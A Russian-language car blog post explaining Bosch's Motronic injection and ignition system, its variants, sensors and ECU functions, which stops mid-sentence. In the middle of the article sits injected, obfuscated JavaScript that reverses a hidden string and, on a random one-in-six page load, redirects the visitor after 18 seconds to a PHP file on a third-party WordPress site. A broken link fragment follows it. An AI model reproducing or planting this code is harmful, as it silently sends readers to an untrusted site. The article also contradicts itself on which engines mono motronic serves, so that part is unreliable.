Система впрыска Motronic предъявляет высокие требования

Дорогие читатели, рад приветствовать вас на страницах блога! Сразу заинтригую — «mono motronic»! Слышали?

Наверное, вряд ли для Вас будет большим откровением тот факт, что современный автомобиль нафарширован различной электроникой, как хороший сыр дырками.

Микропроцессоры и контроллеры управляют практически всеми процессами, происходящими в салоне, под капотом и в других частях машины.

А сегодня мы поговорим о том, как инженеры компании Bosch с помощью электроники решили объединить в одну слаженную систему, получившую название Motronic, процессы зажигания и впрыска горючего в цилиндры мотора, а также узнаем, что из этого вышло.

Короче продолжаем изучать системы впрыска.

Разнообразие mono motronic

Семейство систем Motronic родилось в 1979 году и на сегодняшний день насчитывает более пяти подвидов, использующихся для управления инжекторными моторами разных типов.

К примеру, технология mono motronic контролирует двигатели с центральным впрыском, m-motronic, me-motronic и ke-motronic – моторы с распределённым впрыском, а med-motronic – агрегаты с непосредственным.

Кстати, технологию Motronic нередко называют объединённой системой впрыска топлива и зажигания, что довольно точно описывает её суть. Давайте немного ближе познакомиться с этим творением немецких умов на примере разновидности m-motronic.

Под чутким контролем электроники

Приступим. Для начала дадим точное определение двигателям, для которых разработана технология mono motronic — это бензиновые агрегаты с распределённым впрыском, имеющие механическое управление дроссельной заслонкой. Исходя из этого, инженеры Bosch разработали архитектуру системы управления, в состав которой входят:

• датчики;
• электронный блок управления (ЭБУ);
• исполнительные механизмы.

Схема работы m-motronic следующая. Состояние силового агрегата мониторится целой армией датчиков. В частности, в системе присутствуют датчики температуры всасываемого воздуха и охлаждающей жидкости, положения коленвала, дроссельной заслонки, частоты вращения коленчатого вала, датчик кислорода, а также расходомер воздуха.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/toplivnyj-nasos-vysokogo-davleniya-tnvd.html» target=»_blank» rel=»noopener noreferrer»>насос топливный

Вся эта масса информации поступает в аналоговом виде к блоку управления, в котором она при помощи аналогово-цифрового преобразователя трансформируется в понятные для микропроцессора сигналы.

ЭБУ, получив порцию данных от датчиков, анализирует её и на основе заложенных в нём алгоритмов решает, что делать с двигателем. Если точнее, то список возможных операций блока управления следующий:

• расчёт необходимого количества топлива для впрыска и оптимального момента этой операции;
• включение свечей зажигания;
• регулировка объёма вредных веществ в выхлопных газах;
• регулировка фаз газораспределения;
• управление наддувом и устройствами изменения формы впускного коллектора (если конечно такие узлы в моторе имеются).

После того как все операции просчитаны, ЭБУ подаёт по управляющим шинам сигналы к исполнительным устройствам, а именно: к